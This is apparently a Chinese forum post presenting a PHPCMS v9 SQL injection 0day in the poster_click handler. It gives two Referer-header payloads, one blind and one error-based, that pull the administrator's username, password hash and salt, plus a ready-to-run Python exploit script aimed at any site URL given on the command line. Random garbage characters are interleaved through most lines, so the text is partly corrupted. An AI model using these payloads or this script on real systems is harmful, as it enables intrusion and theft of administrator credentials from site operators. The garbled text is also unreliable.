有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
2 H$ s* p7 m2 ?$ R. W; s0 N& ~
4 k7 ]; _/ r) r' {/ @' g* ?问题函数\phpcms\modules\poster\index.php
o- \, f W, e8 V6 O( [! H! d
) Z5 x$ U- h! s$ x0 \) ^! p; t! hpublic function poster_click() {
- Q2 S, B* D1 @: X/ Y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;9 B9 e2 R) a0 A5 n6 I; e/ g
$r = $this->db->get_one(array('id'=>$id));! G+ T6 S, N' H6 N
if (!is_array($r) && empty($r)) return false;2 d0 @: L4 N0 p, q/ K
$ip_area = pc_base::load_sys_class('ip_area');
B$ p' i( F1 i' F: ]$ip = ip();' M9 C+ X6 ~+ }+ m
$area = $ip_area->get($ip);; y, M: k/ ]- ~7 i, K: R/ v" a
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
* f0 R" Q3 L$ S' dif($id) {# I& W- [9 q2 s+ T
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();1 i5 ]5 S3 ?* g& f. w0 h4 v& q
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));6 l: Z) r+ P; N$ j- h
}9 s$ E9 x0 R4 s( V& ^* u+ p. Z
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$ y" L; z4 v$ E ?1 b$setting = string2array($r['setting']);/ d3 P9 c+ V$ C4 f+ R
if (count($setting)==1) {% ~& T8 g4 ~% w9 @3 q! }: ?
$url = $setting['1']['linkurl'];
7 z+ y6 u( f3 `8 |& c2 x} else {( ~. B2 j8 B3 O$ ^7 ~3 b, ?
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];& K2 c6 d# N `. ^/ H
}4 |4 _* Q& y4 }2 Q
header('Location: '.$url);; d) g# U; Y" Q
}) ]5 u0 Q& q& s
- V9 L$ ?7 C( G1 G) n, J$ a+ ~6 M 0 s! E7 W" M J: n% Q( Q& W. c" z
* ]! m' }* L" P$ o% ~利用方式:- H: N3 V% b) r* e- G8 s8 s
8 O6 y2 _7 H) \- O) ~1、可以采用盲注入的手法:
. f: k) n$ c' I/ x
/ B: d2 b. T9 P& @' y) F5 [referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
2 x# y# l, K) M* T/ {5 k$ I$ c* F# G$ c6 N2 R
通过返回页面,正常与否一个个猜解密码字段。0 T5 j" a! h* M' Z4 o' U! \* g* d# b
9 k4 Z; e- h8 L2 T
2、代码是花开写的,随手附上了:" @: i P7 B( d! }- q% H
' P; S0 D) o- c1 E8 |/ g1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#7 h+ H1 S" s2 G% z$ b0 N
: ]/ k5 u, O1 Z4 l4 j此方法是爆错注入手法,原理自查。
2 f1 c/ Q0 N4 Y
1 c7 B* B- n7 n& v. s$ Y9 B4 V . F. v* J/ T' [& v# h4 j: K
; H) z& ^6 V* F9 a利用程序:
$ A6 W' t" K/ m9 D4 U
2 f$ h; w% o% A. B9 a1 k0 }4 n#!/usr/bin/env python
7 U0 t% g7 N9 C4 nimport httplib,sys,re
9 o( S2 b; _7 ]! N/ ~
7 R6 S) _' a3 @) odef attack():7 n! ~3 ~/ _, l+ u
print “Code by Pax.Mac Team conqu3r!”
2 N2 W& V! y" _; s* |" ^print “Welcome to our zone!!!”
) T+ ]: E3 `, Kurl=sys.argv[1]
& c. }! y z+ ?1 j6 o0 R5 m7 |paths=sys.argv[2]
# `9 a" s! m7 c% r4 a/ jconn = httplib.HTTPConnection(url): G/ c4 s' J& M% W9 ?& |) F
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,: _; M& c$ y0 m. U1 _% Z
“Accept”: “text/plain”,, {7 l$ e% N1 z6 D3 @
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
: O- ~. a, p D2 ^8 }! gconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)# D1 ^5 `* i2 E; y2 a8 Y
r1 = conn.getresponse()( X7 B/ p0 m3 b
datas=r1.read()
1 r7 i! Z& z; X1 e5 q: jdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
" L2 Q9 R% s) d& D8 U {+ k# m5 aprint datas[0]
' S# `# Y1 o$ \4 iconn.close()
' M# W. _- I# u1 W5 J, Vif __name__==”__main__”:
5 Z3 v3 v3 O" sif len(sys.argv)<3:
$ E+ ?, U* X2 f! Aprint “Code by Pax.Mac Team conqu3r”+ K! M0 c; q9 \! ^" V
print “Usgae:”
; Z% r* L* @" Q" hprint “ phpcmsattack.py www.paxmac.org /”% L+ ?6 u; F+ p7 f
print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”& }9 W' `1 ]" t
sys.exit(1)
* R+ T3 l( q" N+ S, a2 I; |, dattack()# ~- P( K- R* w' L& }) S" v
5 N X. `5 w" O$ q5 Y2 x |